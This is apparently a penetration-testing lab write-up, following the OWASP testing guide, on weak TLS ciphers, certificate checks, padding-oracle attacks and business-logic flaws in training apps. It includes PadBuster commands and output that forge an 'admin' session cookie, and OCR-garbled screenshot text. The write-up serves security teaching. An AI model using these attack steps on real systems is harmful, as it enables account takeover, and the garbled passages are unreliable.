rail	goat_session=BAh7B0	riD3N1c3Npb25	faWQG0gZFRkkiJTg3ZjQONjM5NjdjNj	BmNzNmYjI1	NzQwYjE3ZDY2MW	Y4BjsAV	EkiEF9jc	3JmX3Rva2Vu	BjsARkkiMUVBRm9rH2pud11	RJ cmdRNz JyMXZ 5	Tjd2SnJVTEx4bmhWH0ZvaXI0amQw	ZWM9Bj
sARg*	D\$3Dbc19259ebeb5b4	497bla2befdak	d2e43b4af81285; JSESSIONID=8EC9	CFSESB52C4	DF393D20A9D3BE	7FF1						
Conne	tion: close											
Upgra	le-Insecure-Requests:	: 1										
usern	me=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	aaaaaaaaaaaaaa	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	d=&login-	php-submit-but	ton=Log	in					

1892 http:///	192.168.222.136 POST /mutilidae/index.php?page=login.php ✓ 200 69047 HTML php 192.168.222.136
Request	lesponse
Raw Head	Iers Hex HTML Render
	Failure is always an option
Line	170
Code	0
File	/owaspbwa/mutililidae-git/classes/MySQLHandler.php
Message	/owaspbwa/mutililidae-git/classes/MySQLHandler.php on line 165: Error executing query: connect_errno: 0 errno: 1146 error: Table 'nowasp.accounts' doesn't exist clent_info: 5.1.73 host_info: Localhost via UNIX socket) Query: SELECT username FROM accounts WHERE username='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Trace	#0 /owaspbwa/mutiliidae-git/classes/MySQLHandler.php(283): MySQLHandler.>doExecuteQuery(SELECT username) #1 /owaspbwa/mutiliidae-git/classes/SQLQueryHandler.php(250): MySQLHandler.>executeQuery(SELECT username) #2 /owaspbwa/mutiliidae-git/classes/SQLQueryHandler.php(250): MySQLHandler.>executeQuery(SELECT (username) #3 /owaspbwa/mutiliidae-git/classes/SQLQueryHandler.php(250): MySQLHandler.>executeQuery(SELECT (username) #4 /owaspbwa/mutiliidae-git/classes/SQLQueryHandler.php(250): MySQLHandler.>executeQuery(SELECT (username) #4 /owaspbwa/mutiliidae-git/classes/SQLQueryHandler.php(250): MySQLHandler.php(250):
Diagnotic	Error querying user account

Testing for weak Cryptography

1. SSL/TLS Testing

Testing SSL/TLS cipher specifications and requirements for site:

Black box testing: Detect possible of weak cipher, the ports associate to SSL/TLS must be defined. Typically include port 443 which standard https port.

• Nmap scanner via "-sV" scan option, is able to identify SSL services.

```
root@ilak:~# nmap -sV google-gruyere.appspot.com
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-05 12:04 +07
Nmap scan report for google-gruyere.appspot.com (172.217.24.180)
Host is up (0.018s latency).
Other addresses for google-gruyere.appspot.com (not scanned): 2404:6800:4005:80e::2014
rDNS record for 172.217.24.180: kul08s01-in-f20.1e100.net
Not shown: 995 filtered ports
PORT
         STATE SERVICE
                          VERSION
80/tcp
         open tcpwrapped
113/tcp closed ident
443/tcp open tcpwrapped
8008/tcp open tcpwrapped
8010/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.48 seconds
```

• Identifying SSL services and weak ciphers with Nessus.

Port 443/tcp wa	s found to be open
Port 🔺	Hosts
443 / tcp	google-gruyere.appspot.com

			CVSS Temporal Vector: CVSS2#E:F/RL:ND/RC:N
See Also			
https://sweet32.info			Vulnerability Information
https://www.openssl.org/blog/blo	g/2016/08/24/sweet32/		
			Exploit Available: true
Output			Exploit Ease: Exploits are available
output			Vulnerability Pub Date: August 24, 2016
List of 64-bit block	cipher suites supported by the remote server :		In the news: true
Low Strength Cipher	s (<= 64-bit key)		
EXP-RC2-CBC-MD5	Kx=RSA(512) Au=RSA Enc=RC2	2-CBC(40) Mac=MD5	Reference Information
export EXP-RC2-CBC-MD5 export	Kx=RSA(512) Au=RSA Enc=RC2	2-CBC(40) Mac=MD5	BID: 92630 92631
Madium Chronath Cir	have (> 64 bit and < 110 bit how on 2000)		OSVDB: 143387, 143388
medium strength cip	ners (> 64-bit and < 112-bit key, or 50ES)		CVE: CVE-2016-2183, CVE-2016-6329
more			
Port A Hosts			
25 / tcp / smtp 192.16	8,222,151		

• Identifying weak cipher with https://www.ssllabs.com/projects/index.html

https://www.ssllabs.com/ssltest/analyze.html?d=google-gruyere.appspot.com&s=216.58.192.20

TLS_RSA_WITH_AES_128_GCM_SHA256 (0x9c) WEAK	128
TLS_RSA_WITH_AES_256_GCM_SHA384 (0x9d) WEAK	256
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f) WEAK	128
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) WEAK	256
TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) WEAK	112
# TLS 1.1 (suites in server-preferred order)	
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH x25519 (eq. 3072 bits RSA) FS	128
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) ECDH x25519 (eq. 3072 bits RSA) FS	256
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f) WEAK	128
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) WEAK	256
TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) WEAK	112
# TLS 1.0 (suites in server-preferred order)	
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH x25519 (eq. 3072 bits RSA) FS	128
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) ECDH x25519 (eq. 3072 bits RSA) FS	256
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f) WEAK	128
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) WEAK	256
TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) WEAK	112
(P) This server prefers ChaCha20 suites with clients that don't have AES-NI (e.g. Android devices)	

• Manually audit weak SSL cipher levels with openSSL

```
openssl s_client -no_tls1 -no_ssl3 -connect google-gruyere.appspot.com:443
CONNECTED(00000003)
depth=2 OU = GlobalSign Root CA - R2, O = GlobalSign, CN = GlobalSign
verify return:1
depth=1 C = US, O = Google Trust Services, CN = Google Internet Authority G3
verify return:1
depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = *.appspot-preview.com
verify return:1
---
Certificate chain
0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.appspot-preview.com
   i:/C=US/O=Google Trust Services/CN=Google Internet Authority G3
 1 s:/C=US/O=Google Trust Services/CN=Google Internet Authority G3
  i:/OU=GlobalSign Root CA - R2/O=GlobalSign/CN=GlobalSign
Server certificate
 ----BEGIN CERTIFICATE-----
MIIFNjCCBB6gAwIBAgIINPsxpa4cMtIwDQYJKoZIhvcNAQELBQAwVDELMAkGA1UE
BhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczElMCMGA1UEAxMc
R29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMzAeFw0xODAxMTYw0TU3MjdaFw0x
ODA0MTAwODQzMDBaMG8xCzAJBgNVBAYTA1VTMRMwEQYDVQQIDApDYWxpZm9ybm1h
MRYwFAYDVQQHDA1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKDApHb29nbGUgSW5jMR4w
HAYDVQQDDBUqLmFwcHNwb3QtcHJldmlldy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCuIFk4+oO4NKCGEqti1ScEXlwmBEuE4e1ibStSfTF0Vmhh
+p8+ZALGF++77krDLD9CuTAcxr15bOHlOwEU4laZaTTA9ldMd+hm1hgc9kCXkXNJ
3R4D/be53nmPSiIilJY6wBV/WhGZDisSTznDSTBDwdep+fTxFB9X07EF3Eb+iyOq
kO9xGbmwdTqHrRiCXNjn9PQ9n/dPUnoW/dEyrkGA+UgnqH0X2ccOMPEb63VuLt0Z
SBnv+WwYSKvxqPiEWg2KYarBWUJeUpPb0ZfT5Vd+exYD+UkeCTbycS5DEKqxiqxd
knWh7v601iEBPHLOeXBYTcN8biL+uPzmDOgVo0ZxAgMBAAGiggHvMIIB6zATBgNV
HSUEDDAKBggrBgEFBQcDATCBxQYDVR0RBIG9MIG6ghUqLmFwcHNwb3QtcHJldmll
dy5jb22CDSouYXBwc3BvdC5jb22CFSoudGhpbmt3aXRoZ29vZ2xlLmNvbYIQKi53
aXRoZ29vZ2xlLmNvbYIRKi53aXRoeW91dHViZS5jb22CE2FwcHNwb3QtcHJldmll
dy5jb22CC2FwcHNwb3QuY29tghN0aGlua3dpdGhnb29nbGUuY29tgg53aXRoZ29v
Z2xlLmNvbYIPd2l0aHlvdXR1YmUuY29tMGgGCCsGAQUFBwEBBFwwWjAtBggrBgEF
BQcwAoYhaHR@cDovL3BraS5nb29nL2dzcjIvR1RTR@lBRzMuY3J@MCkGCCsGAQUF
BZABhh1odHRwOi8vb2NzcC5wa2kuZ29vZy9HVFNHSUFHMzAdBgNVHQ4EFgQU7e+S
RVIYnYEGLyhC7UpYmn13LZIwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR3wrhQ
mmd2drEtwobQg6B+pn66SzAhBgNVHSAEGjAYMAwGCisGAQQB1nkCBQMwCAYGZ4EM
AQICMDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwucGtpLmdvb2cvR1RTR0lB
RzMuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQAKvj6QkSaz5cq3LaB30oEmpQAavn/z
rEUyMMp02GmHkt8Cfl4Sg5mnvcS60zE5Z6t4r6ZWLAQQN1W7NWu+cmDcMlqEwW/q
6VaOsvoOX80m2n+GOAJokrFcORIgYJH1K5Wea20bR0x8r+XYIK92d79nEO41vm2A
Op4WYt6IBTEzENEmMdcpjrQViREr19P5BQJLsdIkaTTOExsN5KuuBgZPdT0b5lCu
iZIfnpDKdDySLKNhhbXBnjKlSr52ujyqpWsrwUu7elubz53cxBt6hAV9y8Z9QN0J
QCMPgdeMIOZWoAxjVb2hvb5konRn+dH5QtILZy6+CbQgfBzAIC8gn+25
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.appspot-preview.com
issuer=/C=US/O=Google Trust Services/CN=Google Internet Authority G3
No client certificate CA names sent
```

```
Peer signing digest: SHA256
```

```
New, TLSv1.2, Cipher is ECDHE-RSA-CHACHA20-POLY1305
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
   Protocol : TLSv1.2
             : ECDHE-RSA-CHACHA20-POLY1305
   Cipher
   Session-ID: EF5E62B4253B4155268B072AE037C45B32854C30BDCF5EE64625C8FAF4F5A0C9
   Session-TD-ctx:
   Master-Kev: 6115CC2B4568B6AFB39F9CDCAB06C6DEEC7FEB2F89FFF1023E53EBDA12A3019D1A4D979F950F90DDB4630DB946759E16
   PSK identity: None
   PSK identity hint: None
   SRP username: None
   TLS session ticket lifetime hint: 100799 (seconds)
   TLS session ticket:
   0000 - 00 20 99 92 c5 bb 96 7d-ab f0 31 45 4c d4 86 c4
                                                           . .....}..1EL....
   0010 - 9a 31 1d ff 0c 35 1f c2-56 88 02 0b e9 35 70 61 .1...5..V....5pa
    0020 - a2 a3 b4 7d ce 6b c5 fd-b2 91 4e 39 55 ed 87 5c ...}.k....N9U..\
    0030 - 68 fd 2f 2c d5 05 62 39-e4 49 24 38 20 4a 97 01
                                                          h./,..b9.I$8 J..
   0040 - dd 49 04 33 0e f4 73 26-ee fc f4 ac 1a b4 96 ab
                                                           .I.3..s&.....
    0060 - 22 b9 24 3f 87 2a 47 cf-f7 49 bc 9f f4 34 ca 7e
                                                           ".$?.*G..I...4.~
   0070 - d6 25 0b 66 57 5d bc ab-79 4a 0e cd ca 00 ba 6a .%.fw]..yJ.....j
   0080 - 0f fe 83 aa 9c 1a 1a e9-11 97 6f fe d1 e7 40 53
                                                            .....@s
    0090 - 22 a2 14 ae a2 09 7d 7d-89 d5 6e c9 22 35 7a 37
                                                           ".....}}..n."5z7
   00a0 - ef d6 97 80 3b 3a 97 21-c3 a0 9f 04 4a 1f 88 b1 ....;:.!...J...
00b0 - ea d4 28 8b c7 83 64 60-7a 16 f0 15 83 b6 ae e9 ...(...d`z.....
    00c0 - 4a 00 33 bc 78 e3 5a 7a-20 a3 01 d4 20 7e 94 f6 J.3.x.Zz ... ~..
                                                           ...%)..)R.
   00d0 - fc e3 ef 25 29 ff 1c 29-52 c4
   Start Time: 1517809834
   Timeout : 7200 (sec)
   Verify return code: 0 (ok)
   Extended master secret: yes
```

White box testing: Check the configuration of the web servers which provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.

Example:

- The registry path in windows defines the ciphers available to the server:
 - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SC HANNEL\Ciphers\
- Linux?

Testing SSL Certificate Validity - Client and Server

When accessing a web application via https protocol, a secure channel is established between client and server. The identify is digital certificates. In order for the communication to be setup, a number of checks on the certificates must be passed:

- Check the CA (Certificate Authority) is trusted
 - Each browser come with a preloaded list of trusted CAs, against which the certificate singing CA is compared.

- Check the certificate is currently valid
 - Certificate have an associated period of validity. Browser can warned this case.
- Check that name of site and name reported in the certificate match

If the name of the server and the certificate do not match, it might sound suspicious. A system may host a number of name-based virtual hosts, which share same IP address and are identified by means of the HTTP 1.1 host: header. In this case, since the SSL handshake checks the server certificate before HTTP request is processed, it is not possible to assign different certificates to each virtual server.

Black box testing:

i	https:// 192.168.222.148 :8834	🔽 🔂 🔍 Search
1	Your connection is not secure	
	The owner of 192.168.222.148 has configured their web site improperly. stolen, Firefox has not connected to this web site.	To protect your information from being
	Learn more	
	Report errors like this to help Mozilla identify and block malicious	sites
		Go Back Advance
	192.168.222.148:8834 uses an invalid security certificate.	
	The certificate is only valid for ilak	
	Error code: SSL_ERROR_BAD_CERT_DOMAIN	

The certificate will not be valid until (date)

т. т

The certificate will not be valid until date (...)

Error code: SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE

The certificate expired on (date)

The certificate expired on *date* (...)

Error code: SEC_ERROR_EXPIRED_CERTIFICATE

The certificate is not trusted because the issuer certificate is unknown

The certificate is not trusted because the issuer certificate is unknown. The server might not be sending the appropriate intermediate certificates. An additional root certificate may need to be imported.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is not trusted because it is self-signed

The certificate is not trusted because it is self-signed.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is only valid for (site name)

example.com uses an invalid security certificate.

The certificate is only valid for the following names: www.example.com, *.example.com

Error code: SSL_ERROR_BAD_CERT_DOMAIN

More at: <u>https://support.mozilla.org/en-US/kb/what-does-your-connection-is-not-</u> secure- mean#w_the-certificate-will-not-be-valid-until-date • Using MMC in window to view list of trusted CA

Console Root	Issued To	Issued By	Expiration Date	Intended Purposes
 Console Root Certificates - Current User Personal Trusted Root Certification / Certificates Enterprise Trust Intermediate Certification / Active Directory User Object Trusted Publishers Untrusted Certificates Third-Party Root Certificat Trusted People Client Authentication Issue Local NonRemovable Certi MSIEHistoryJournal 	Issued To AddTrust External CA Root AddTrust External CA Root AffirmTrust Commercial Baltimore CyberTrust Root Certum CA Certum Trusted Network CA Class 3 Public Primary Certificat COMODO RSA Certification Au COMODO RSA Certification Au COMODO RSA Certification Au Copyright (c) 1997 Microsoft C DigiCert Assured ID Root CA DigiCert Global Root CA DigiCert High Assurance EV Ro DST Root CA X3 DST Root CA X3	Issued By AddTrust External CA Root AffirmTrust Commercial Baltimore CyberTrust Root Certum CA Certum Trusted Network CA Class 3 Public Primary Certificatio COMODO RSA Certification Auth Copyright (c) 1997 Microsoft Corp. DigiCert Assured ID Root CA DigiCert Global Root CA DigiCert High Assurance EV Root DST Root CA X3 D-TRUST Root Class 3 CA 2 EV 2009	Expiration Date 5/30/2020 12/31/2030 5/12/2025 6/11/2027 12/31/2029 8/1/2028 1/18/2038 12/30/1999 11/9/2031 11/9/2031 11/9/2031 9/30/2021 11/5/2029	Intended Purposes Server Authenticati Server Authenticati Server Authenticati Server Authenticati Server Authenticati Server Authenticati Time Stamping Server Authenticati Server Authenticati Server Authenticati Secure Email, Serve Server Authenticati
Certificate Enrollment Requ Smart Card Trusted Roots	Entrust Root Certification Auth Entrust Root Certification Auth Equifax Secure Certificate Auth GeoTrust Global CA GeoTrust Primary Certification GeoTrust Primary Certification	Entrust Root Certification Authority Entrust Root Certification Authori Equifax Secure Certificate Authority GeoTrust Global CA GeoTrust Primary Certification Au GeoTrust Primary Certification Au	11/27/2026 12/7/2030 8/22/2018 5/20/2022 7/16/2036 12/1/2037	Server Authenticati Server Authenticati Secure Email, Serve Server Authenticati Server Authenticati

2. Testing for Padding Oracle

A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations.

Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS 7. It fills the remaining bytes with the value of the padding length.

Example

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.

How to Test

Use below tools to testing this case

- PadBuster <u>https://github.com/GDSSecurity/PadBuster</u>
- python-paddingoracle <u>https://github.com/mwielgoszewski/python-paddingoracle</u>

- Poracle https://github.com/iagox86/Poracle Padding
- Oracle Exploitation Tool (POET) <u>http://netifera.com/research/</u>





Padding Oracle

Welcome to the PentesterLab's exercise on Padding Oracle.

The objective of this exercise is to find a way to get logged in as the user "admin"...

- - -

You are currently logged in as cloud!

root@kali: ~	
File Edit View Search Terminal Help	
Kalla-veryverbose: Be Very Verbose (Debug Only)	
<pre>cool@kali:-# padbuster http://192.168.222.157/login.php x9NzDg%2FcGI1bLCtiVb%2FUeryil%2Fl6emVi 8cookies auth=x9NzDg%2FcGI1bLCtiVb%2FUeryil%2Fl encoding 0</pre>	l6emVi
PadBuster - v0.3.3 Brian Holyfield - Gotham Digital Science labs@gdssecurity.com	
<pre>(NF0: The original request returned the following (+) Status: 200 (+) Location: N/A (+) Content Length: 1530</pre>	
INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 ***	
INFO: No error string was providedstarting response analysis	
*** Response Analysis Complete ***	
The following response signatures were returned:	
ID# Freq Status Length Location	
1 200 1677 N/A	
2 ** 255 200 15 N/A	0
File Frit View Search Terminal Heln	•
nter an 1D that matches the error condition 10TE: The ID# marked with ** is recommended : 2	î
Continuing test with selection 2	
<pre>+ Success: (29/256) [Byte 8] + Success: (138/256) [Byte 6] + Success: (120/256) [Byte 4] + Success: (120/256) [Byte 3] + Success: (240/256) [Byte 3] + Success: (240/256) [Byte 3] + Success: (170/256) [Byte 1]</pre>	
0lock 1 Results: +] Cipher Text (HEX): 5b2c2b6255bfd47a +] Intermediate Bytes (HEX): b2a0167c32bf74e2 +] Plain Text: user=clo	
Jse of uninitialized value \$plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <stdin> line 1. *** Starting Block 2 of 2 ***</stdin>	
<pre>+] Success: (131/256) [Byte 8] +] Success: (48/256) [Byte 7] +] Success: (70/256) [Byte 6] +] Success: (159/256) [Byte 5] +] Success: (159/256) [Byte 3] +] Success: (137/256) [Byte 3] +] Success: (137/256) [Byte 3]</pre>	

Block 2 Results: [+] Cipher Text (HEX): bca297f97a7a6562 [+] Intermediate Bytes (HEX): 2e482d6453b9d27c [+] Plain Text: ud
** Finished ***
[+] Decrypted value (ASCII): user=cloud RETENDED
[+] Decrypted value (HEX): 757365723D636C6F7564060606060606
<pre>[+] Decrypted value (Base64): dXNlcj1jbG91ZAYGBgYGBg==</pre>
<pre>root@kali:~# padbuster http://192.168.222.157/login.php x9NzDg%2FcGI1bLCtroot@kali:~# padbuster http://192.168.222.157/login.php x9NzDg%2FcGI1bLCtiVb%</pre>
2FUery1%2Fl6emV1 8cookies autn=x9N2Dg%2FcGllbLCtiVD%2FUery1(%2Fl6emV1encoding 0 -plaintext user=admin
PadBuster - v0.3.3 Brian Holyfield - Gotham Digital Science labs@gdssecurity.com
INF0: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 1530
INFO: Starting PadBuster Encrypt Mode [+] Number of Blocks: 2
INFO: No error string was providedstarting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
ID# Freq Status Length Location 1 1 200 1677 N/A 2 ** 255 200 15 N/A
Block 1 Results:
<pre>[+] New Cipher Text (HEX): 0408ad19d62eba93</pre>
<pre>[+] Intermediate Bytes (HEX): 717bc86beb4fdefe</pre>
** Finished ***
<pre>[+] Encrypted value is: BAitGdYuupMjA3gl1aFo0wAAAAAAAAAAA</pre>
2064 http://192.168.222.157 POST /login.php ✓ ✓ 302 1048 HTML php [PentesterLab] Padding
Request Original response Edited response
Raw Params Headers Hex
POST /login.php HTTP/1.1 Host: 192.168.222.157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referent: http://deflate.com/

Referer: http://192.168.222.157/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Connection: close Upgrade-Insecure-Requests: 1

username=cloud&password=cloud

2064 http://192.168.222.157 POST //o	ogin.php	√	1	302	1048	HTML	php	[PentesterLab] Padding
Request Original response Edited response								
Raw Headers Hex HTML Render								
HTTP/1.1 302 Found								
Date: Thu, 08 Mar 2018 02:44:37 GMT								
Server: Apache/2.2.21 (Unix) DAV/2 PHP/5.4	4.3							
X-Powered-By: PHP/5.4.3								
Set-Cookie: auth=qyby8Cz6ZJhZkHqNIC%2FJdi:	xCsHyElu62							
Location: /index.php								
Content-Length: 778								
Connection: close								
Content-Type: text/html								

	up.//192.100.222.	157	POST	/login.php	\checkmark	\checkmark	302	1048	HTML	php	[PentesterLab] Padding
Request	t Original respo	nse Edi	ted response								
Raw	Headers Hex	HTML	Render								
HTTP/1.1	. 302 Found										
Date: Th	u, 08 Mar 20	18 02:4	4:37 GMT								
Server:	Apache/2.2.2	l (Unix) DAV/2 PHE	0/5.4.3							
X-Powere	d-By: PHP/5.	4.3									
Set-Cook	ie: <mark>auth=</mark> BAi	tGdYuup	MjA3gllaFo0	WAAAAAAAAA							
Location	1: /index.php										
Content-	Length: 778										
Connecti	on: close										
Content-	Type: text/h	tml									
Ø [P	entesterLab	Paddi	ng Oracle	× +							

11.4511

Logout

CÔ

(i) 192.168.222.157/index.php

Padding Oracle

Welcome to the PentesterLab's exercise on Padding Oracle.

The objective of this exercise is to find a way to get logged in as the user "admin"...

You are currently logged in as admin!

Business Testing Logic

1. Test Business Logic Data Validation

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side on an application of system. The front end and the back end of the application should be verifying and validating that the data it has, it using and is passing along is logically valid.

How to Test

- Review the project documentation and use exploratory testing looking for data entry points or hand off points between system or software.
- Once found try to insert logically invalid data into the application/system

- Perform front-end GUI functional valid testing on the application to ensure that the only "valid" values are accepted
- Using an intercept proxy observe the HTTP-POST/GET looking for places that variables such as cost an quality are passed.
- Verify that input HTTP request and every HTTP response contains a content type header specifying a safe character set (e.g., UTF-8).
- Verify that HTTP headers in both requests and responses contain only printable ASCII characters
- Verify that the input field have "max-length"



- All Input Validation test cases
- Testing for Account Enumeration and Guessable User Account
- Testing for Bypassing Session Management Schema
- Testing for Exposed Session Variables

2. Test Ability to Forge Requests

How to Test

- Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.
- If it is found that some value is guessable this value may be changed and one may gain unexpected visibility
- Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated
- If any are found try to guess and changes these values to get a different application response or behavior

Refer

- Testing for Exposed Session Variables
- Testing for CSRF
- Testing for Account Enumeration and Guessable User Account

3. Test Integrity Checks

How to Test

- Using a proxy capture and HTTP traffic looking for hidden fields / non editable
- If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business and manipulate values you were not intended to have access to.
- List components of the application or system that could be edited, for example logs or databases
- For each component identified, try to read, edit or remove its information
| ← → ⊂ ଢ | (i) 192.168.222.136/WebGoat/attack?Screen=17&r | nenu=1700 | F | (| |
|---|--|--|---|---|--|
| OWASP WebGoat V5.4 | Show Params Show Cookles Lesson Plan | | | | |
| Introduction
General | Solution Videos | Restart this Lesson | | | |
| AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality | This website performs both client and server side validat
break the client side validation and send the website inp
break all 7 validators at the same time. | ion. For this exercise, your job is to
ut that it wasn't expecting. You must | | | |
| Cross-Site Scripting (XSS) | Field1: exactly three lowercase characters(^[a-z]{3}\$) | | | | |
| Injection Flaws
Denial of Service | abc .ii | | | | |
| Insecure Configuration | Field2: exactly three digits(^[0-9]{3}\$) | | | | |
| Malicious Execution
Parameter Tampering | 123 | | | | |
| Bypass HTML Field Restrictions | | * | | | |
| Exploit Hidden Fields | Field3: letters, numbers, and space only(^[a-zA-20-9]* | \$) | | | |
| Exploit Unchecked Email
Bypass Client Side JavaScript
Validation | abe 125 Abe | | | | |
| Session Management Flaws | Field4: enumeration of numbers (^(one two three four | ive six seven eight nine)\$) | | | |
| Web Services
Admin Functions
Challenge | seven! | | | | |
| | Field5: simple zip code (^\d{5}\$) | | | | |
| | 90210 | | | | |
| | Field6: zin with optional dash four $(\Lambda)d(5)(-)d(4)(2)$ | | | | |
| | 90210-1111 | | | | |
| |
 | | | | |
| | Field7: US phone number with or without dashes (^[2-9] | \\d{2}-?\d{3}-?\d{4}\$) | | | |
| | 301-604-4882 | | | | |
| | | | | | |
| | Submit | | | | |

3221	http://192.168.222.136	POST	/WebGoat/attack?Screen=17&menu=17	~	1	200	33386	HTML		Bypass Client Side Java	192.168.222.136
3225	http://192.168.222.136	GET	/WebGoat/javascript/menu_system.js			304	230	script	js		192.168.222.136
-											7.6
	· · · · · · · · · · · · · · · · · · ·										
Origin	tal request Edited request	Response									
Dave											
Raw	Parallis neaders nex										
Host:	192.168.222.136					- 150 0					
locent	.gent: Hozilla/S.U (win	n/vhtml#v	ul.u; win64; x64; rv:ss.u) Gecro/2	0100101	Fireic	x/58.0					-
Accept	-Language: en-GB.en;g=	0.5	mi, applicación/ xmi;q-0.5, / /q-0.								
Accept	-Encoding: gzip, defla	te									
Refere	r: http://192.168.222.	136/WebGo	at/attack?Screen=17&menu=1700								
Conten	t-Type: application/x-	www-form-	urlencoded								
Conten	t-Length: 104									and the second s	
Cookie	: dbx-postmeta=grabit=	0-,1-,2-,	3-,4-,5-,6-&advancedstuff=0-,1-,2	-; secur	ity_le	vel=0; 1	remember_	token=St	u37BrvdI	CCPfSwaD7x4g; PHPSESSID=d25695pol	og2bj38rkm351rgbU; Server=b3dhc3Bid2K=;
acopen	divids=swingset, jotto,	2NLa2Nab2	dmine; acgroupswithpersist=nada; SfawocowZEDEE:ITw27500MaMEM5daNaP	a Mer New Vir T	1 Mer OverV	4 8 2 7 D V 2	MWV AD Se MV	Pleippgia	2.TwV2.Der.	Charles & Disks i MIRIP DwG w MCroud D.Lend DNer	WWW FT & d 2 Sto JUT By Abash WM0 Zer aV I 0 am 0 or ZWM9D &
sARet 3	D\$3Dbc19259ebeb5b497	bla2befda	bd2e43b4af81285; JSESSIONID=8EC9C	FSESBS2C	4DF393	DCOASD3E	BE7FF1	BA LBP DJC	JUILLUKVE	LT UD J SAKAN ING TO BALD IN LPUUL NO CHURNE.	yuraaljaaanoo lax ammanoa o arto amgwaanoo j
Author	ization: Basic d2ViZ29	hdDp3ZWJn	b2F0								
Connec	tion: close	-									
Upgrad	le-Insecure-Requests: 1										
fieldl	=abc&field2=123&field3	=abc+123+	ABC&field4=seven&field5=90210&fie	1d6=9021	0-1111	&field7=	=301-604-	4882			-
3221	http://192.168.222.136	POST	/WebGoat/attack?Screen=17&menu=17	1	1	200	33386	HTML		Bypass Client Side Java	192.168.222.136
3225	http://192.168.222.136	GET	/WebGoat/javascript/menu_system.js			304	230	script	js		192.168.222.136
-											J.►
	r r										
Origin	al request Edited request F	lesponse									
Raw	Parame Headers Hey										
- Num	Turuno neudero nex										
HOSE	100 100 000 100										10
Heave h	192.168.222.136	lowe NT 10	0. Win64: x64: xx: 50 0) Cooke (20)	100101 81	rotor	(F.9. 0					4
User-A Accept	192.168.222.136 gent: Mozilla/5.0 (Wind : text/html.application	iows NT 10 /shtml+sm	1.0; Win64; x64; rv:58.0) Gecko/20; al.application/xml;g=0.9.*/*;g=0.8	100101 Fi	refox/	58.0					-
User-A Accept Accept	192.168.222.136 gent: Mozilla/5.0 (Wind : text/html,application -Language: en-GB,en;q=0	lows NT 10 n/xhtml+xm).5).0; Win64; x64; rv:58.0) Gecko/20 al,application/xml;q=0.9,*/*;q=0.8	100101 Fi	refox/	58.0					*
User-A Accept Accept Accept	192.168.222.136 gent: Mozilla/5.0 (Wind : text/html,application -Language: en-6B,en;q= -Encoding: gzip, deflat	dows NT 10 n/xhtml+xm).5 ce).0; Win64; x64; rv:58.0) Gecko/20; al,application/xml;q=0.5,*/*;q=0.8	100101 Fi	refox/	58.0					Å
